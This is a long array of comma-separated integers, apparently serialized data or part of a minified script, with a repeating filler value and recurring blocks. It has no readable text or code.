3,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,45768,39048,39078,39105,39169,39156,39172,39188,39089,39218,45803,55484,39265,39291,55476,39311,45819,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,37318,37318,37318,37318,37318,45266,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,45863,37318,37318,44953,53155,45882,37318,52352,45886,39423,67164,45902,45916,45932,45961,45945,45975,45991,37318,45455,41670,46020,50786,46004,46033,45185,46061,46096,44613,41965,46121,46173,46189,46205,46221,46237,46288,65632,46304,37318,37318,68839,40298,50758,37318,41033,53889,69149,37318,46321,73164,72644,72644,72644,46341,45386,41542,41542,59697,52709,65498,65498,65498,64013,57854,41461,41461,41461,53427,64567,41960,63943,65692,37318,55390,46361,44399,46380,37318,58658,46936,46397,46417,72644,72644,59240,58293,46453,46492,41542,41542,52156,55833,61582,46520,65498,65498,64241,46547,52866,68024,41461,41461,68015,46594,47566,46621,37318,37318,46672,37318,46264,44403,37318,40057,46707,46725,63333,41308,72644,46741,63340,42275,46760,41542,46793,66052,61720,45363,46811,65498,49417,68460,65498,46845,46864,41461,51002,52264,41461,46904,52111,46933,46952,37318,46684,52530,67711,37318,59166,64847,72644,54549,51902,61913,46986,41542,41542,73854,71759,72272,41570,65498,54158,68314,46848,58449,41461,41461,47016,47035,51372,47057,47076,37318,47124,37318,47140,47156,71524,72644,42291,47208,67563,41542,59595,47244,47267,65498,59798,47304,47328,41461,53433,37318,47344,37318,61381,37318,72644,47362,47380,41542,47407,47424,65498,47447,64139,63673,47467,64041,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,41347,39062,47486,47520,47551,47602,47622,61702,70577,48688,47605,47638,50030,47449,46829,57656,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,47659,37318,37318,44953,37318,37318,37318,37318,37318,67919,47681,47697,47709,47725,47754,47738,47770,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,67827,50028,47806,47251,47282,47858,50482,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,64567,41960,37318,37318,37318,37318,73633,44399,56082,37318,56083,37318,73164,72644,72644,72644,72644,47879,41363,41542,41542,41542,41542,47922,65493,65498,65498,65498,65498,47955,46825,41461,41461,41461,67629,66428,63696,45404,37318,37318,37318,37318,37318,44403,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,51497,37318,58926,37318,37318,64306,57609,37318,65431,72644,72644,72644,56125,63073,47979,41542,41542,41542,70807,58352,65498,65498,65498,65498,47999,41461,41461,41461,41461,48015,47501,37318,37318,37318,37318,37318,60498,72644,72644,72644,42291,41542,41542,41542,59595,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,65375,48037,48062,48088,48113,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,49548,37318,37318,44953,37318,41780,37318,41482,37318,54642,48139,48155,48170,48186,48215,48199,48231,65689,37318,37318,48273,48292,37318,48311,37318,51503,37318,37318,37318,48331,46709,48623,50028,58342,50938,47282,52495,55465,37318,48349,37318,68839,48369,47665,37318,51866,48388,48408,48427,73007,67026,70205,72644,72644,72644,48444,48468,41542,41542,52709,48501,48532,65498,65498,51441,56912,41461,41461,41461,64567,71585,37318,37318,65402,37318,56580,44399,46364,37873,48553,37318,73164,48570,72644,48622,56986,72644,41363,48639,50032,41542,55261,41542,65493,48669,57135,65498,73731,65498,46825,48704,41598,41461,48739,41461,63696,45404,37318,37318,39025,37318,62106,44403,37318,37318,37318,72643,72644,72644,60958,57260,72645,38772,41542,41542,54046,68350,48760,45363,65498,65498,65498,48780,52828,59800,41461,41461,41461,48796,66903,47863,51534,37318,37318,37318,64199,37318,64441,37318,72642,72644,72644,64854,72644,61913,41542,41542,41542,48812,48876,65497,65498,65498,71839,65498,59803,41461,41461,47470,41461,47863,47501,37318,65142,37318,37318,38723,48831,72644,48851,72644,42291,41542,48871,41542,59595,65498,70398,65498,59798,41461,61249,41461,42174,72114,37318,37318,53513,66795,54283,70249,60920,63484,67969,41542,58586,58373,65498,49897,57220,41461,56936,37318,37318,67331,73163,72644,72800,50031,41542,52475,65498,65498,48892,41461,58211,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,47019,45307,48912,48959,48989,49019,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,70340,49053,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,49089,37318,44953,37318,48599,37585,39665,37318,67919,49107,49123,49137,49153,49182,49166,49196,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,48353,37318,48351,60095,51266,41622,41369,62908,47535,62003,72217,37318,62994,49212,68839,37318,49238,37318,49258,37318,51050,39778,49276,57933,60709,68980,49292,71214,49326,70571,70834,49347,57459,49369,49386,49404,49439,49457,61552,61800,49485,58425,64567,41960,37318,37318,68084,37318,56022,44399,37318,37318,37318,70710,73164,72644,72644,72644,72644,49520,41363,41542,41542,41542,52429,41542,65493,65498,65498,65498,59621,65498,46825,41461,41461,41461,65942,41461,71902,49537,37318,37318,48372,63307,37318,44403,37318,37318,38213,70690,72446,72644,72644,72644,64634,56631,49564,49582,41542,41542,56653,45363,49600,48682,65498,65498,64927,49622,49640,70938,41461,41461,62085,49662,51497,37318,37318,37318,37318,37318,49684,37318,68617,72644,72644,69970,72644,65479,41542,41542,41326,41542,48876,49710,65498,65498,47842,65498,59286,41461,41461,58267,41461,47863,47501,37918,62752,37318,37318,49733,60498,55203,65029,49752,42291,67741,65203,74026,59595,66024,65498,49773,59798,49646,41461,49825,47288,37318,51997,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,49852,37318,73163,72644,60539,50031,41542,72428,65498,65498,49872,41461,70461,56939,61615,37318,72643,60923,41542,57845,65498,49892,41461,49913,72946,72644,50030,54383,59799,54339,40392,49935,49960,49980,50002,57326,50022,50048,50069,50089,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,50115,37318,44953,44449,50137,37318,37060,50171,54108,64429,50196,50210,50226,50255,50239,50269,65689,44626,50285,50301,50316,50332,50367,39233,53108,50384,61398,55344,50419,50467,50512,50528,50544,50594,50610,50651,50667,73014,50694,49260,50729,62653,50756,50774,72085,37318,37318,49073,37318,73164,50802,70730,47643,67373,50837,50866,47931,48477,50890,64147,50934,50954,50974,61240,51024,54206,54678,60300,51066,42093,59527,51082,54503,44179,51132,51166,69514,50121,44486,44480,51182,51198,51247,51290,51306,51322,51357,51407,51457,51482,51519,51581,60231,51607,51635,51659,51675,51432,54188,73942,51691,51713,51750,51800,41753,51824,51840,37318,45167,74354,51864,51882,51918,51962,51982,72643,52018,52052,68101,52072,70228,38772,52096,72897,41542,52136,57279,52172,66566,52195,65498,64541,65498,52222,56902,52245,41461,67612,41461,52280,51497,37891,64079,46636,37318,52344,55168,73701,70986,47906,72644,52368,52401,61913,52428,52445,53191,52464,52511,46777,66351,65498,52546,52580,55946,51008,41461,52615,49469,47863,47501,37318,39657,52645,37318,58484,60498,52664,60195,52685,42291,67536,73887,52704,59595,49809,69760,70602,59798,46578,54457,71795,47288,37318,68581,52725,60872,52759,71031,52775,65989,69245,52802,72675,52206,52852,55908,48097,54237,46605,52882,52918,52936,39919,39478,52952,52973,52992,65449,53038,56792,66087,71786,53088,56765,56939,40362,53104,72643,69978,41542,52310,65498,53124,53817,55637,53146,55211,53171,53289,59799,53207,55668,73239,68122,73294,50578,53242,53264,53284,53305,53324,42326,53340,53356,53372,60496,73658,47451,66435,53400,53449,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,51938,37318,44953,62203,56053,37318,51929,37318,53498,53534,53550,53564,53580,53609,53593,53623,65689,37318,68909,41289,37087,37318,37318,37318,37318,61388,37318,61393,61388,52002,53639,47391,58863,63536,59869,62003,50482,37318,53663,37318,68839,53663,37318,37318,37318,69142,53682,45250,37318,55674,71208,72644,72644,72644,53704,53738,41542,41542,52709,48072,65498,65498,65498,57854,53755,41461,41461,41461,64567,41960,37318,37318,37318,37318,37318,44399,37318,37318,37318,53779,73164,72644,72644,72644,63735,72644,41363,41542,41542,41542,60760,41542,65493,65498,65498,65498,61277,65498,46825,41461,41461,41461,48744,41461,63696,45404,37318,37318,37318,37318,37318,44403,37318,45747,37318,72643,72644,72644,50815,72644,72645,38772,41542,41542,71247,41542,41542,45363,65498,65498,48537,65498,65498,59800,41461,41461,67762,41461,41461,47863,51497,37318,37318,37318,37318,37318,67308,37318,72642,72644,72644,56359,72644,61913,41542,41542,41542,70112,48876,65497,65498,65498,66735,65498,59803,41461,41461,41461,53797,47863,47501,37318,37318,37318,37318,37318,60498,72644,72644,72644,42291,41542,41542,41542,59595,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,54260,37318,37318,37318,73163,67467,72644,48046,41542,73662,48935,65498,59802,53815,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,41851,61054,66378,62339,68189,53833,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,39797,37318,37318,37318,67919,53869,53905,53909,53925,53954,53938,53968,65689,37318,37318,41289,37087,37318,45716,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,46136,46156,37318,37318,68839,37318,37318,37318,37318,40903,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,36975,37318,64085,73164,72644,72644,72644,72644,72644,53984,41542,41542,41542,41542,41542,62136,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,54006,37318,54026,36968,37318,37318,53666,72643,72644,65774,72644,72644,72645,38772,41542,41542,54043,41542,41542,45363,65498,65498,53015,65498,65498,59800,41461,41461,66593,41461,41461,71140,54854,37318,37318,54062,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,54082,64821,37318,60498,72644,72644,62830,58547,41542,41542,58315,46770,65498,65498,71297,59798,41461,41461,54740,47288,59033,54099,69440,44860,37318,54124,64478,44740,41542,54141,70297,54157,61206,54174,54204,58614,54222,56936,53884,37318,41072,40582,71978,54276,54299,54319,56380,73391,73919,41714,55599,54335,56939,50403,59838,42233,54355,53715,54379,54399,59801,54439,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,57408,54473,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,59399,37318,37318,60166,37087,37318,37318,37318,54501,37318,54501,42045,54519,39472,54546,54565,67872,65498,54590,62375,54624,37318,37318,47504,68839,67717,44759,37318,37318,54658,37318,37318,37318,73164,72644,72644,58045,72644,45386,41542,41542,67542,52709,65498,65498,65498,56180,57854,41461,41461,41461,54676,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,68532,57795,73164,72644,72644,72644,72644,72644,54694,41542,41542,41542,41542,41542,54716,65498,65498,65498,65498,65498,54737,41461,41461,41461,41461,41461,54756,71731,37318,37318,37318,37318,37318,37318,37318,37318,74625,57661,72644,72644,72644,72644,72645,38772,54791,41542,41542,41542,41542,45363,54808,65498,65498,65498,65498,59800,54829,41461,41461,41461,41461,47863,54854,37318,37318,66657,37318,37318,37318,37318,72642,72644,72644,72644,58513,38767,41542,41542,41542,63753,41444,65497,65498,65498,65498,70365,59803,41461,41461,41461,60263,47863,54854,37318,37318,49068,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,54946,37318,40844,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,54850,61615,65734,72643,61015,41542,72843,65498,54871,41461,54893,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,